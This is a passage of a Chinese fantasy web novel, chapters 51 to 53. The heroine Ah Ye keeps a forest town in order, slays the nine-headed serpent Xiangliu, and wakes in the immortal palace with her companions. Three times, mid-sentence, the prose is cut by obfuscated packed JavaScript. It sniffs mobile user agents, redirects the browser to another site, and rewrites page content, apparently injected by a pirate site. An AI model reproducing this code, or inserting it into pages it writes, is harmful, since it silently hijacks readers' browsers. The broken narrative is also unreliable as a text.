没有人能回答,她茫然地望向这片天地。天幕辽阔高远,冰原一望无际,飞雪打旋飘落,给这片大地披上纯白的寿衣。 除此之外,再无旁人。 视野逐渐拉近了,她与血泊里的倒影对视,如从梦中惊醒—— 她最恨的,其实是她自己。 51. 春夏秋冬 浅淡的香气拂过鼻尖,很是熟悉。 阿也慢慢睁开眼,正对着竹窗外一株也桃,开得极盛,花色如瀑,将一年的春意都拢住了。 面前是半开的话本,写到窃宝一章,案上乱七八糟地摆满剑谱,笔墨纸砚被挤到边角。袅袅青烟穿过斑竹屏风,飘向门外。 浮尘在光中翩跹,一切宁静而平和,像是午后在书房里打了个盹。 阿也回过神来,伸了个懒腰,起身,在拐角的铜镜里,瞥见一闪而过的白影。 那是谁?她疑惑,却自然而然地推开门。 春风拂过,视野清朗。 四面竹蓠环绕,围出一座简朴小院。檐下晾晒成片的也桃花,青石砖压过茂盛的野草,错落铺成小道,其中一条通向也桃树旁的那块菜畦。 绿油油的嫩叶,黄澄澄的鲜花,颜色浓郁而纯粹,生机盎然。 尤其那一位主人,青衣朴实无华,但走动时步履轻盈,衣摆如莲,合拢或绽开,堪称娴雅,连择菜时手指掐尖,也像在拨弦。 她是……念头转瞬即逝,没来得及抓住。阿也眨了眨眼,感觉自己仿佛一块冰,逐渐消融在水里,闻到似曾相识的气息。 待择满一篮水灵灵的菜,青衣女子擦去额头亮晶晶的汗水,转过身来,见到她,立即举起竹篮,笑问:“晚饭吃藜蒿炒鹿肉怎么样?上次大人打来没吃完的鹿肉,我拿果木枝熏成腊肉了。” 阿也点点头,“好。” “我还晒了也桃花,再有两三天就阴干透了。”青衣女子掰着手指算,“待会磨些面和豆粉,等九洮采蜜回来,再做一些也桃糕备着,预备几日后出去踏青。” 九洮是谁?阿也想着,又含笑点头。 “云娘!”突如其来的一声叫喊。 竹门被一脚踹开,发出不堪重负的声响。 红影气冲冲地闯进来,拎起磨盘大小的巨大蜂巢,“咚”一声砸在地上,蜡质裂开,粘稠的清液渗进青石砖的缝隙,甜香引来黑蚁舔舐。 “你端了整个蜂巢?”云娘一脸震惊,“不是说好只取半豆蜜……” “都怪你叫我去偷蜜!”九洮指着自己的右脸,气得直跺脚,“你看!该死的丑蜂,把我叮成这样!我不管,你得给我做好吃的,不然我就吃了你!” 三尺之遥,阿也看着九洮呲牙咧嘴,露出尖牙,左半边脸容色娇俏,而右半边脸被蜇出数十红点,已高高肿了起来,十分寒碜,于是嘴角忍不住扬起。 “姐姐,不许笑!”九洮扑进她怀里,呜咽几声,“你和云娘一起欺负我!” “好了。”阿也搂住九洮,娇小玲珑,尚不及自己肩高,揉了揉她的发顶,“云娘给你备了也桃糕。” “这还差不多。”九洮抬起头,面露得意,哪有半点流泪的样子。 “那我去练剑了。”阿也忽然道。 云娘一顿,笑起来,“小心些,记得早点回来吃饭。”二人打打闹闹,一起送她出门。 转身之际,阿也听云娘轻声细语道:“九洮,能不能帮我开一下蜂巢?” “怎么老是使唤我!”九洮轻哼一声,“你区区一介凡人,居然敢使唤我这个上能呼风唤雨,下能移山倒海的……” “那你想不想吃也桃糕?” “我这就来!” 一击即中。阿也无奈摇头,带上竹门,沿着崎岖山路向前,两侧忽然传出热闹人声,惊飞一群鸟雀。 拐角处有三五人正在伐木,因斧头太钝,声响咚咚如擂鼓,许久才砍断一根,等树轰然倒下,再清理干净附着的瓜葛,拿麻绳打结做标记。 这是在干什么?阿也想,于是站在原地看了会儿。 年纪最小的女娃娃率先发现她,倏地起身,乖巧地颔首行礼,“尊者好!” 剩下的人听见了,立刻停下动作,跟着行礼,齐声道:“尊者。” “在做什么?”阿也问。 大人们神色为难,倒是女娃娃抢先开了口,小脸皱成一团,气呼呼道,“前些天有妖兽闯进来,把我家房子弄坏了……” “童童,别瞎说!”年纪最大的老者及时喝止她,辩解道,“不是什么大事,只是有些破损罢了。” “你们留在这。”阿也微微偏头,转向生闷气的童童,“你带我去看看。” 童童脆生生应下:“好!”随即蹦蹦跳跳地跑上前领路,一步三回头,时不时看一眼尊者,偷笑几声,并不专心。 正要提醒她注意脚下,童童一脚踩在滑石上,眼看就要栽进荆棘丛,阿也眼疾手快,一把拎起人,放进自己臂弯里,稳稳托住了。 “谢,谢谢尊者。”女娃娃从惊吓中回神,羞惭地低下头。 即便年纪小,但也太轻了些。阿也蹙眉,从尾戒里摸出一块糕点,递给她。 “谢谢尊者。”童童双手接过,却不吃,而是贴着心口放进怀中,认真解释道:“尊者别生气,我要留给我娘吃。” 阿也点点头,抱着她走进藏在山中的部落。 说是部落,其实是一座小型城池,但房屋的风格大相径庭,笼统被分为三种,规整的木屋,粗旷的石室以及凌乱的草房子。 “就在这里。”童童指着路边,闷闷不乐道,“这就是我家。” 只有些破损?阿也望着那片看不出原本形状的废墟,道:“仔细说来。” “我爹开了间食肆,那些妖兽经常过来吃饭,大多都很规矩,唯独有个豹妖,每每说好要用丹药抵账,结果一直赊着。我爹说就当是做善事,也不跟它计较。” “后,后来我娘生病了……买不起药,没有办法,我爹就去找它讨要,结果它不仅不给,还把食肆给掀了!”童童红了眼眶。 “你知道它住哪么?”阿也问。 “它就住在左边那条街上!”童童抹了把眼泪,“尊者,我就是想把它欠的丹药要回来,救救我娘……” “带路。”阿也言简意赅。 童童眼睛一亮,“是!” 她跳出怀抱,气势汹汹向前走去,走到半路,一个哆嗦,躲在阿也身后,指着角落里鬼鬼祟祟的人影道:“就,就是它。” 这豹妖化形不全,黄发刺头,像颗滚了泥沙的海胆,一条短毛长尾探出斑点兽皮裙,勾着个酒葫芦,一副吊儿郎当的模样。 “哟,来找麻烦?”豹妖嗅到熟悉的味道,立即转身,凶狠的表情一滞,“好……漂亮的小娘子。” “怎么就你一个人?”豹妖积极道,边围绕阿也打转,边嗅她身上的味道,“有意思,我竟然闻不出你的气息。” 它突然一个探头,呲出尖牙,吓得童童大叫一声,直往阿也身边挤。 “豹哥!”旁边有个壮汉立刻拉过他,竖起两只毛茸茸的立耳,像是熊妖化形。 “小心点,别真犯事儿了。”熊妖左看看右看看,小声道,“最近戚城主管得很严。” 他看一眼阿也,并非寻常人等的担惊受怕,而是面无表情,声音又压低几分,“要是真闹上去,少不了……得吃鞭子。” “他算什么?”豹妖推开熊妖,“我早看不惯它了!一个好端端的山大王不当,跑到这来当人走狗,这就算了,还非得拉我们妖族下水,呸!” 啐完一口,他又露出笑容,搓着双手向阿也靠近,“小娘子可曾婚配?不知待我意下如何?我可是瞧小娘子……” 阿也伸出手,覆住童童双眼,另一手竖起食指,比在唇中,做出噤声的手势,微微一笑。 豹妖被那笑晃了眼,激动得直拍大腿:“好好好,不愧是小娘子,真是别有一番……呃!” 不敬的话叫他断在喉中。 四面刮起罡风,雄赳赳气昂昂的豹妖连她的衣角也没碰到,登时被击飞出去,兽皮裙溅上热血,半截长尾落地,酒葫芦骨碌骨碌滚出去一里。 “叫戚晓过来。”她转向熊妖,目光如刀,“我不说第二遍。” “是,是!”熊妖一个激灵,连豹妖也顾不得扶,连滚带爬地逃走了。 略一抬指,酒葫芦飞回掌中。阿也晃了晃,大概有三四颗丹药,足够了,于是塞进童童手中,“回去等我。” 童童这才回过神来,不敢看另一边,转身跑走了。 察觉此处气氛不对,附近的人家紧闭门窗,原本僻静的街道更加荒芜。 一刻钟后,身着玉色长衫的戚晓自对面街道跑来,一个踉跄,滑跪至阿也面前,顾不得挽尊,上气不接下气道:“恳请大人恕我管教不力胆敢有人冒犯……” “药价为何上涨?”阿也打断他。 戚晓一怔,目光微闪,但对上阿也的眼神,立刻颔首,详细道来:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15301314|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上月妖族那边闹事,故意毁坏灵族药田。好不容易镇压下去,却错过了种植的最佳时机,导致下一季的药材供应不足,价格上涨。” “毁了多少田?” “十,十亩。”戚晓战战兢兢道。 算是大半。阿也问,“那些妖族呢?” “正在狱中监禁。” “拖出来,去开垦药田。”阿也一顿,道,“把那豹妖一并押去。” “但妖族生性……”戚晓犹豫道。 “加开二十亩药田,维持药价不涨,方得自由。”阿也淡淡道,“否则一律处死,以儆效尤。” 很好,问题迎刃而解。每当戚晓质疑自己是否太过怀柔,想起面前这位的不近人情,都暗自庆幸是自己接管这座城池,否则早被杀了个干净。 领完命,戚晓去押气息奄奄的豹妖,反被啐了口血沫。 “呸!妖族走狗!”豹妖还想喷出更多污言秽语,被忍无可忍的戚晓一巴掌扇安分了。 “到底年纪小,没经历过外面的风风雨雨。”戚晓重重拍了拍豹妖的肩头,l恨铁不成钢道,“这里是流潦之森,四域绝地之最。若不是这位肯庇佑这座城池,你连出生的机会都不会有。” 不急不慢地回到废墟,童童正着急地张望着,见到人来,立刻叫道,“尊者!” “解决了。”阿也道,正要走,衣袖忽地被拉住。 “我只拿了一颗,一颗就够了。”童童怯生生地递出酒葫芦,“这些……太多了。” 阿也揉了揉她的头,“那剩下的用来重建食肆,以备不时之需。” “谢谢尊者!”童童欢呼雀跃,迫不及待道,“那我去告诉爹爹他们?”见人点头,她小跑着窜了出去,双丫髻上的红绳在风中荡起波浪。 又处理完一些琐事,阿也瞧一眼天色,快步走进葳蕤山林,赶在傍晚时分回到小院,推开门,树下支起圆桌,点灯如豆,映照出菜肴的腾腾热气。 “就知道大人会晚回来。”云娘埋怨一句,用手肘戳了戳身旁趴在桌上打瞌睡的九洮,“醒醒,大人回来了。” “姐姐……”九洮下意识吸了吸流出的口水,见她无奈地摇头,顿时清醒过来,招手笑道,“快快快,快来吃饭!” 阿也入座,端起碗筷,听云娘和九洮时不时吵囔几句,偶尔一笑。 斗转星移,日升月落。 桌上的菜色换了又换,从鲜嫩的香椿到洁白的槐花,从地下的莲藕到水里的鲈鱼,皆是色彩鲜亮,口味丰富,时不时出现一两道清淡的,聊以解腻。 九洮的个子一天天拔高,流潦之森随之被一步步探索。 春日踏青,九洮掏鸟蛋不成,反被啄了满头包,气冲冲地要拉阿也去替她做主,好不容易被云娘劝住,怒吃一整篮也桃糕,撑得三天没下床。 夏日溯溪,九洮和云娘像两只互相追逐的飞鸟,在岸边起起落落,一不小心摔了进去,干脆就地打起水仗,双双伤风,吃光了阿也一整瓶丹药才好。 秋日采收,戚晓求阿也去监工,一转身九洮就和豹妖打了起来,踩了一身泥,看得云娘直叹气,好在打赢了,豹妖干活更卖力了。 冬日,偶尔云娘犯懒,三人结伴光顾重建的食肆,尝到中意的,见人从椅子上跳起来,冲去后厨探讨秘方,留下九洮和阿也面面相觑。 一眨眼,年关将近。 听云娘指挥,阿也背上新布和食材,以及大包小包的年礼回到小院,却发现人不在,唯有九洮大大咧咧地躺在树下的竹榻上,睡相极其不雅。 “我去摘点东西,很快回来。”桌上是云娘留下的字条,婉约的簪花小楷。 放好东西,阿也捡起地上的薄被,替九洮盖好,坐在榻边等待,因买东西实在劳心伤神,困意涌上来,不知不觉睡了过去。 “吱呀——”缠绵的一声,竹门开了。 脚步声在靠近,熟悉又陌生。阿也睁开眼,见到来人,一怔。 忽有风而来,将摇散的烛火吹进那双墨绿色的眼里。巫蕴低声问,“主人,有人托我来问,您是否还记得当年的约定?” 这一声令她头痛欲裂,像杂乱的水草长进脑海,将思绪牵来扯去,最后,顺理成章地勾起尘封的记忆—— 这是她离开仙族的第三年。 她已经没有剑了。 52. 相柳 “大人要出远门?” 云娘梳起那头柔顺的长发,熟练编起五股辫,见人懒洋洋打了个哈欠,关切道:“大人昨夜没睡好?” “有一点。”阿也道,待云娘忙完,起身披上外袍,束紧腰身,“听九洮说,你的琵琶坏了?” “没有坏,就是年头久了,弦松了,我试着紧一紧就好了。”云娘替她掏出折进去的衣领,抚平肩头的褶皱。 “也桃糕已经上笼蒸着了,让九洮试试加蜜的新秘方,毕竟劳苦功高。”云娘弯起眉眼,又埋怨道,“就是不知道一大早人又跑到哪里去了。” “你就惯着她吧。等她吃撑了,又该囔囔着长胖了。”阿也无奈一笑,走出门去。 昨夜风雪交加,好在今早便放晴了,阳光明媚,菜畦里雪白一片,也桃枝桠间挂满冰棱,一闪一闪,仿佛透亮的银坠子。 云娘送她出门,叮嘱道,“早些回来。” 阿也点点头,走在青石砖铺成的小道上。落雪被扫干净了,看这狂乱的痕迹,不难想象出九洮咬牙切齿的样子。 推开竹门,却见九洮靠在门旁,像是等了许久。 “你要回仙族?”九洮垂下眼,睫羽投下一片阴影,看不出心绪。 “你害怕吗?”阿也问。 九洮沉默半晌,摇了摇头,“只要知道你会回来,那些就算不了什么。” “我很快就会回来。”阿也道,“这是最后一桩交易。” “那我等你回来。”九洮一字一顿,“如果你没有回来,我就去找你。” 又下雪了。 不同于流潦之森在深冬时节才会落雪,这里一年四季总是在下雪。 偌大的宫殿一角,檐角精巧的花灯被风摇来晃去,烛火透过鲜亮红纸照亮莹白细雪,殿内笙歌飘扬,让门外寒梅都捎上几分喜庆。 唯独一人除外。 阿也在树旁垂手而立,是温暖无法企及的地方。不远处仆人们来回进出,像是害怕看见什么不详之物,十分吝啬自己的目光。 “她怎么来了?” “那个肮脏的魔裔怎么配见我们仙君!” 他们暗地里传音,并不知道她能听见。 弦月西移,殿内的欢声笑语逐渐平息,宾客散尽了,一地狼藉,仆人们开始收拾残局。 不知过了多久,身后传来雪被踩实的声响,脚步声悠然从容,眼前视野忽地一暗,被头顶纸伞遮去大半。 附近的仆人立即停下脚步,面色恭敬地躬身行礼,又无声退开。 肩头的积雪被人轻轻拂去了,那人声线温润,如清泉击瓷,“好久不见,阿欢。” “这是奴婢为你盘的发式?好新奇的式样,衬得你活泼许多。在外过得可合心意?若有需要,尽管提来便是。” 没有任何回应。那人似是习以为常,接着道:“今年的岁供里有几件还不错,待会差人予你。说起来,方才魔域使者还特意提起你,问什么时候得了空,去拜访魔君一趟,他老人家很想你……” “找我什么事。”她终于开口。 气息陡然靠近了,清冽的一点浅香,仿佛微风捎来远山雪的味道。几乎是挨着耳畔,那人低声道:“相柳。” 碎雪落在伞面上,越积越多,盖过艳丽的双色梅纹。 半晌,阿也道:“这是最后一件事。” 虚搭在肩上的手一紧,捏出一片褶皱,而后慢慢抚平,那人递来一物件,含笑道:“东西在里面。” 径直拿过物件,阿也点点头,抽身向外走,连一个眼神也不曾留下。 唯有雪乘着风,又慢慢落满了肩头——随后被一只手无情扫落,指上一枚乌金尾戒在薄雾中熠熠闪光。 “如何?”阿也低头看向崖底的沼泽,粘稠得难以流动,深绿发黑,不间断地冒泡,像极了有一回九洮自告奋勇做出的毒汤。 不过毒汤不会吐出尸骨,还散发出腐烂的恶臭。 “大人,周围百姓都已撤离。”巫蕴颔首道。 相柳,蛇身九头,以人为食,涎水尽成泽国,其血剧毒,在凶兽中也称得上独占鳌头,难怪会来请自己出山。阿也想。 “这是仙君的吩咐。” 白衣少年越过巫蕴,呈上金漆托盘,内里放置着一张黄金面具和一柄没有剑鞘的剑。 那剑模样普通,形制古旧,剑刃除去起卷的部分,甚至还有细小缺口,简直伤痕累累。 阿也一顿,径直拿起那柄剑,熟悉的手感。 “还有面具。”少年直视那双妖冶的赤瞳,冷声提醒道,“别忘了你的身份。” 阿也似笑非笑地看了少年一眼,随手挽了个剑花,冷冽罡风擦着他耳畔而过,掀翻了漆盘,顺势将绣有金丝剑纹的领口削去半边。 “你!”少年惊叫一声,连连后退几步,握紧拳头,脸色涨得通红。 不等说完,阿也上前一步,一脚踩碎黄金面具,随后剑尖上抬,虚虚点在他喉头。 从他惊恐的眼里,阿也看见自己眼下浮现出诡谲的赤纹,绕过狭长眼尾,在眉间绘成双枝缠刀的图案。 “魔,魔纹……”少年哆嗦着,还想说些什么,被巫蕴及时捂住嘴。 “主人。”巫蕴单膝跪在她面前,微不可察地摇头。 读懂那是不要和仙君起冲突的意思,阿也收起剑,偏过头,“带下去。” 巫蕴以眼神警告少年噤声,随后将人提了起来,恭敬道:“是。” 话音未落,砰的一声响。 碎石乱溅,地面有规律地震颤,像是被什么巨物攀爬,不到三息,崖边探出头来。 那头上分出九张灯笼大小的人面,有男有女,有老有少,面色青白,宛如死尸,但齐刷刷看来时,竖直的赤瞳里露出喜怒哀乐之色,各不相同,湿哒哒的毛发淌下黏稠绿液,滴落在地,腐蚀出坑坑洼洼。 “是相,相柳……”少年面如死灰。 一个照面,巫蕴拎着少年迅速后撤,让出空间。阿也斜剑点地,另一手五指大张。 天地间的水汽迅速汇聚,在掌心形成漩涡,随后展开成盾,在升腾的寒气里冻结成冰,正面扛下相柳喷出的毒液。 一招不成,相柳屈身跃上崖顶,九张人面此起彼伏地尖叫,激得人血气翻涌,同时长尾弹射而出,狠狠抽在冰盾之上。 “咔嚓!” 冰盾霎时解体,被毒液附着的碎屑落地,扑簌腾起黑烟,花草以肉眼可见的速度凋败。 倒退数步,阿也方化去余力,止住身形,目光扫过蛇身,背腹皆覆鳞甲,泛着森然冷光,没有丝毫缝隙。 得动真格了。阿也眼神一凛,指腹抹过剑刃,细细的一道血线上,绽开朵朵幽蓝冰花,内里却涌动着赤色火焰。 避开长尾的又一记劈砍,阿也佯攻侧方,趁相柳回身防御之际,斜刺七寸,以刁钻的角度挑开鳞片,送进冰花后抽身即走。 “轰——” 接连不断的爆炸,鳞甲乱飞。相柳连连咆哮,待烟散去,腹甲被彻底炸开,血肉模糊,碧血滴在地上,又是一片枯萎之相。 看样子七寸并非弱点。阿也收剑,视线停留在那九张不尽相同的人脸上,眯起眼,抬手召来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305339|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漫天风雪,藏起身形。 相柳盘起身体,九张人面各司其职,向四面八方张望,肉鼻翕动,使劲嗅闻气息。忽然间,其中一个仰起脸,朝向西方,长尾随之抽去。 破空声如啸,却是一声哀叫响起。那张脸被长剑贯穿,旁侧的立刻喷出毒液,又落了个空。 只听得风雪之中,剑风争鸣,与长尾冲撞时铿锵作响,伴随着相柳接连不断的哀嚎声。 最后赤色火焰熊熊燃烧,驱散风雪,露出趴在地上,状况极其凄惨的相柳——九张人面仅剩中间那个完好无损,其余的化作肉瘤,与毛发纠缠成一团,看得人几欲作呕。 “哕——”寂静中,这一声格外清晰。 不好!阿也立即出剑。 果不其然,萎靡的相柳忽然暴起,长尾硬扛剑风,直冲那声响而去。 “小心!”巫蕴擎出结界,用尽全力阻拦,反被抽飞半里,喷出一口血来。 见少年瘫软在地,中间的人脸顿时露出喜色,呲出尖牙,下颌张至极限,可见柔软喉壁,作势要将食粮一口吞进去。 来不及了!少年死死瞪大眼,似乎已经闻见它嘴里的腥臭。 “锵——” 强烈的白光逼少年闭眼,硬器刮擦的声音几乎刺破耳膜。等再睁开时,他一怔。 一条手臂撑开了人面的上下颚,抗起密集尖牙,有两颗甚至已经没入暗银护臂之中,少年听见皮肉被毒液腐蚀的滋滋声。 而她右手持剑,贯穿了相柳喉头。 见人呆在原地不动,像是被吓傻了,阿也干脆一脚踹开少年,随即连人带剑被相柳抬至半空。 自知死期将近,它疯狂摇摆起来,人面咬死不肯松口,毒液顺着尖牙注入伤口,将护臂侵蚀得坑坑洼洼。 “刺啦——” 右手猛地发力,自下而上地剖开整个喉壁,再反手抽出,捅进它嘴里,阿也旋拧剑柄,将那张人面搅得稀巴烂。 僵持半晌,相柳终于力竭,颓然坠地,失去生机,肉瘤逐个枯萎,碧血四处流淌,使原本满是疮痍的地面雪上加霜。 挑开残破的护臂,一排深浅不一的孔眼正汨汨冒出浑浊的暗黄色鲜血,而其中,一条碧绿的线正沿着青紫的血管向心口攀爬。 阿也眉头一皱,竖起剑尖割开孔眼,立即摁住绿线一端,逆向挤出毒血,反复几次,直到血再度变回暗红色,绿线也逐渐退去。 “主人,你的伤!”巫蕴急得失了仪态,要来提她上药。 “无妨。”阿也淡淡道,兀自收回手,到了一定境界之后,丹药助力并不大,甚至不如她自身的愈合能力。 略过面色青白的少年,她俯瞰崖底,相柳已死,沼泽停止冒泡,沉吟道:“我去探一探。” “主人……”巫蕴深深颔首,语气十分不赞同。 “把人看好。”阿也恍若未闻,径直旋身跃下,脚步轻点几数下,稳稳落地,当即被一股恶臭笼罩。 是了,阿也心道,相柳之毒连她的护臂都能侵蚀,按理来说常人沾之即消,怎会有腐烂的味道?除非是另有他物。 打定主意探到底,阿也继续往里走,离得越近,臭味愈发浓厚,似乎化作有形的黑气,四处乱窜。 阿也不由捂住口鼻,拨开最后一层浓稠的黑雾,看清了那些散落在沼泽边的骨头,三角状的颅骨,粗短的趾骨,细长的尾骨…… 尽管形状各异,长短不一,但很明显,并非出自人体——有人在用凶兽投喂它。 意识到这一点的瞬间,黑气扑面而来,阿也在突如其来的眩晕中,失去知觉。 53. 均衡 “怎么还没醒?”嘟囔声在耳畔响起。 阿也睁开眼,又似乎并未睁开,四周仍是一片撕不动也捋不动的黑,唯有人声从不远处传来,是二人在对话。 “这是?”阿也听出自己的声音。 “这可是用你心尖血制成的好东西!”对方神气扬扬道,“炼了三天三夜,好不容易才产出这些。老夫拿乘黄角封住,方得安稳,要知道上天入地,笼统也就这四枚!” 难道是指那晶柱?阿也心想,听自己接着问道,“有何用处?” “用处可大了。”对方亢奋道,“上能活人肉,生白骨,下能代契而立,窥探人心。” “什么意思?” “以主仆之契为例,主子以契锁限制仆从行踪,以契钥控制仆从行为,但不得伤起其性命。” “而这心尖血原本是你的一部分,倘若有人服下,则任凭你差遣,无所拘束。”对方遗憾道,“虽然很想一试,但那太过暴殄天物。” “喏,收好了。”那人压低声音,“我没告诉那小子。” 那小子?阿也正疑惑,又听那人偷笑一声,“不过这回花了老夫不少好东西,诊金还是要狠狠敲他一笔。” 那人一顿,诧异道,“这是做什么?” “给你一枚,当诊金。” “当真?”那人感慨道,“往日可都是那小子替你付钱。要知道,请我灵君来一趟,可不是小数目。不过这样说来,他倒也舍得。” 于是阿也知道“那小子”是指仙君,又听自己嗤笑道,“难道不是因为你看中我是试药的好苗子?” “即便是试药,老夫用的药材都是顶好的!何曾亏待过你?”灵君理直气壮,话锋一转,犹疑道,“你当真要脱离仙族?” 那是离开仙族时发生的事情。阿也心想,还想探听更多,浑身忽地一震,察觉自己正被抽离。 “怎么还没醒?”又一声嘟囔响起。 意识浮出水面。 这一次她真正睁开了眼,正对千工拔步床顶上的红地折枝梅花纹,三面悬挂素色鲛绡,隐隐透出屏风上的山水画,熟悉又陌生。 花了点时间,阿也想起来这是她旧日在仙族的行宫。 听见声响,一面鲛绡被人掀起,有人探进头,眉清目朗,随后长舒口气,笑出花来,“嘿,终于醒了。” 听声音,正是灵君本尊。 他端起药碗走来,一身青地织金龟背长袍,以玉带束腰,刻有如意纹,佩有月白香囊,上绣一株碧绿宝树。 阿也接过药碗,汁液粘稠发黑,顿了顿,仰头饮尽,酸苦从舌根一路爬进胃里,被强行压下。 “怎么弄得这样狼狈?”灵君问,“那小子说是中了相柳之毒,但老夫一观,却并非如此。” 中毒?印象里自己的确被咬了一口,但似乎并无大碍。阿也仔细回想,与相柳搏斗的画面尚历历在目,但跃下山崖后,突兀地断了片。 “记不清了。”她按住抽痛的额角。 “你昏睡多日方醒,不宜劳心伤神。”灵君劝道,“左右无事,再修养几日罢。” 阿也点点头,递出空药碗时,视线不由落在那鼓鼓囊囊的香囊之上,嗅到一股亲切的气息。 “怎么,想拿回去?”灵君立即垂袖遮掩,振振有词道,“既已赠予老夫,断然没有要回去的道理。” 阿也瞥他一眼,径直躺下了。 “得,以为许久不见,脾性会磨得好些,没想到还是同往日一样,没大没小。”灵君忿忿道,忽而缓了语气,“虽不知你这几年过得如何,但老夫听说了一些……不如考虑考虑我灵族?” “仙族条条框框的规矩颇多!不如入我灵族,挂个名誉长老,自此海阔天空,灵丹妙药任你选择,取之不尽……” “去给你试药?”阿也毫不留情道。 “你若不愿,绝不强求。”灵君正色道,“单凭你一身实力,挂名长老也绰绰有余。” 阿也一怔,“你不怕族人非议?” 灵君反问道:“你可知四族为何逐年衰落?” “不知。”阿也如实回答。 “这问题无人敢答,但这么多年下来,老夫却有个猜测。”灵君压低声音,缓缓道,“自四族以血统论高低,禁止与外族通婚后,衰落之势渐起,故老夫猜测……” “唯有血脉均衡,方能飞升,登临神位。” “什么意思?”阿也眉头一皱。 “自三皇飞升后,天皇氏十三部落陆续消亡,分分合合,唯有四族留存至今。其中,我灵族侍奉神农氏,魔族侍奉女娲氏,仙族侍奉伏羲氏,而妖族最为特殊,特立独行,暂且不提。” “你的意思是……”阿也犹豫道,“当年四族能够留存,是因通婚之故?” “正是。”灵君赞赏一句,接着道,“四族之中,仙族善水,魔族控火,而我灵族掌木,妖族长于山野……勉强算土罢,至于风雷之类,皆算旁支。” “还差一行。”阿也迎着他鼓励的目光,吐出答案,“金。” “五行之中,水生润,火发热,木有曲直,土乃生化,唯独金,最是玄妙,取敛聚之意。” “所以血脉混合,方能生出金?”阿也以问代答。 “非也。”灵族摇头,“老夫曾见过一些通婚者,但后代多为残缺,想来是父母实力有差,一方过强或过弱,造成血脉失衡,命格歪斜,因此埋下隐患。” 看了看自己完整的手脚,阿也不由庆幸,忽然想起什么,迟疑道:“但我并非金命格。” “这便是你的独到之处。”灵君直勾勾地盯着阿也,像看到化形为人的灵草一般,两眼放光,“你父母血脉纯正,又实力匹敌,所以你的命格远超五行之上,乃是混沌。” “目前你能掌控水火,若是再融入妖灵二族的血脉……”灵君循循善诱,“日后成就,不可限量。” “看来不只是试药。”阿也冷静道,“还要茹毛饮血。” “暴殄天物!”灵君瞪起眼,“老夫怎舍得糟践你这等惊才绝艳之辈?” “我要睡了。”阿也闭上眼,以此拒绝他热切的邀请。 “没大没小!”灵君气得摔门而去。 不到一息,门外忽然传出喧闹声,愈演愈烈,一声尖叫杀过重重障碍,蓦地冲进耳里—— “死老头,滚开!” 阿也惊坐起身,扬声道,“进来!” 砰砰几声响,像是过了几招。门被猛地推开,不等见到人,满是委屈的声音先一步穿透进来。 “姐姐!那死老头欺负我!” 眼前闪过一片红影,人已扑到床边,抬起头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311226|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼泪汪汪,不是九洮还能是谁? 挥手示意灵君离开时记得带上门,阿也转向九洮,冷声道,“谁让你来的?” “你一直都没回来,我,我和云娘放心不下……”九洮眼珠一转,见她不吃这套,越说越小声,“我和你说过的……” 见阿也依旧板着脸,九洮干脆转变战术,立起一双毛茸茸的竖耳,纯白如雪,讨饶道:“姐姐,我错了,我再也不敢了,不要生气了好不好?” “收起来。”阿也厉声道,“这里是仙族。” 九洮忙不迭收了耳朵,脱靴爬上床,小心避开伤口,抱住她的腰撒娇,“我就是想你了嘛,不要生气了好不好?” 几个回合下来,阿也无奈地叹了口气,“云娘呢?” “我要是带上那个拖油瓶,哪里还能跑出来?”九洮轻哼一声,“你又不是不知道,流潦之森的外围有多危险!” 明明是担心云娘受伤。阿也心想,又问,“那你不在,云娘被人欺负了怎么办?” “我看谁敢!”九洮呲出尖牙,“看我回去咬死……痛痛痛——” “收回去。”阿也拧起她变换出的人耳,沉声道,“难道你想像上次一样被人盯上不成?” 提起过往,九洮顿时萎靡,讪讪一笑,赶紧扶她躺下,又蜷成一团,缩进她怀里。 较常人更高的体温,让九洮抱起来像是冬日温暖的火炉。阿也有一下没一下地抚过她的发顶,听呼吸声逐渐平稳。 屏风上的山水画亮了又暗,亮时映出漫天红霞,像热烈盛开的花海,暗时圆月独挂枝头,鲛绡无风自动,如坠云端。 于是阿也想起来,她们三人曾在这张拔步床上相拥着捱过很多个难眠的夜晚。 譬如被漠视,被辱骂,被栽赃陷害,一步步努力至今,但从来都没有改变过,只不过是从明面上,转为了暗中。 不过四处征伐的这些年,她去过很多地方,见过大漠的黄昏,听过大海的歌声,闻过山谷的花香,也饮过高山的清泉。 她想让九洮和云娘也见到那样的风景,摸一摸大漠的流沙,听一听海浪的咆哮,再择一朵喜欢的花别在耳后,在溪流中痛快地打水仗。 流潦之森虽然自由,但也会被找上门来,并非能久待的地方。 或许……阿也想,她应该考虑一下灵君的提议。 “姐姐!” 九洮忽然惊叫一声,似是从噩梦中惊醒,用力抱紧她,嗫嚅道,“我,我想回家。” 